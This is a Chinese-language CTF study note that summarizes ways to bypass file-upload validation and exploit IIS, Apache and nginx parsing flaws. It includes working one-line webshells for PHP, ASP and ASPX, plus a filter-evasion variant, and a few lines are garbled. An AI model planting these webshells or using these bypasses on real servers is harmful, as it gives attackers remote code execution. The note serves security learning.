文件上传绕过学习
做 ctf 的 web 方向常常遇到文件上传的题目,而且每题多少会有些不同。
于是搜集一番总结起来学习一下。
文件上传的校验
-
客户端 JavaScript 校验:
一般在 F12 源代码中可以看到,校验的是文件后缀名。 -
服务端校验:
1)文件头 content-type 字段校验(image/jpeg)
2)文件内容头的校验。
3)后缀名黑名单校验。
4)后缀名白名单校验。
5)自定义正则校验。 -
WAF设备校验
——
文件上传校验的绕过
客户端绕过
前端会检测后缀,可以先上传一个符合后缀的文件,再用 burp 抓包修改文件的内容以及后缀即可。
——
服务端绕过
-
1)文件类型绕过
用 burp 抓包,修改 content-type 字段为 image/jpeg 。 -
2)文件头绕过
在正常的一句话木马前面加上一些文件信息。 如 gif 的文件幻数:
GIF89a
<?php @eval($_GET['a']) ?>
- 3)文件后缀名绕过
服务端会对文件后缀进行黑名单校验。
则找黑名单扩展名的漏网之鱼:
jsp:jspx、jspf; asp:asa、cer、aspx;
php:php,php3,php4,php5,php7,phtml,pht,phps
可能存在大小写绕过,如:aSp、pHp 。
- 4)配合操作系统文件命令规则
上传不符合 Windows 文件命名规则的文件名:
test.asp
test.asp(空格)
text.php:1.jpg
text.php:: D A T A s h e l l . p h p : : DATA shell.php:: DATAshell.php::DATA……
Linux 下后缀名大小写
-
5)配合其他规则
0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候。test.php(0x00).jpg、test.php%00.jpg。
例如: 路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg -
6)配合文件包含漏洞
前提:校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。 先上传一个内容为一句话木马的 .txt 文件,后缀正常未被检测并且上传成功;
再上传一个 .php 文件,内容为 <?php Include("刚刚上传的 .txt 文件路径"); ?>
此时,这个 php 文件就会去引用 txt 文件的内容,从而绕过校验。
中引用文件内容的语法:
#PHP <?php Include("上传的txt文件路径"); ?>
#ASP
#JSP <jsp:include page=“上传的txt文件路径”/> or <%include file=“上传的txt文件路径”%>
——
——
服务器解析漏洞
IIS5.x-6.x解析漏洞
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析
形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 : /test.asa /test.cer /test.cdx
——
——
apache解析漏洞
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
——
——
nginx解析漏洞
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,以下内容的文件。
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
转自
https://wenku.baidu.com/view/bf350a1fbc64783e0912a21614791711cc79799c.html
关于上传文件里的内容,即一句话木马
最简单的一句话木马:
<?php @eval($_POST['aa']) ?>
php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
@符号的意思是不报错,即使执行错误,也不报错,如果没有@,就会报错。
eval 就是执行命令的函数,把字符串作为 PHP 代码执行。
eval() 语言结果是非常危险的,因为它允许执行任意 PHP 代码。
常见的一句话木马:
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
一句话木马的内容中 <?php 被过滤了,还可以换为如下内容:
<script language="php">
@eval($_POST['hacker']);
</script>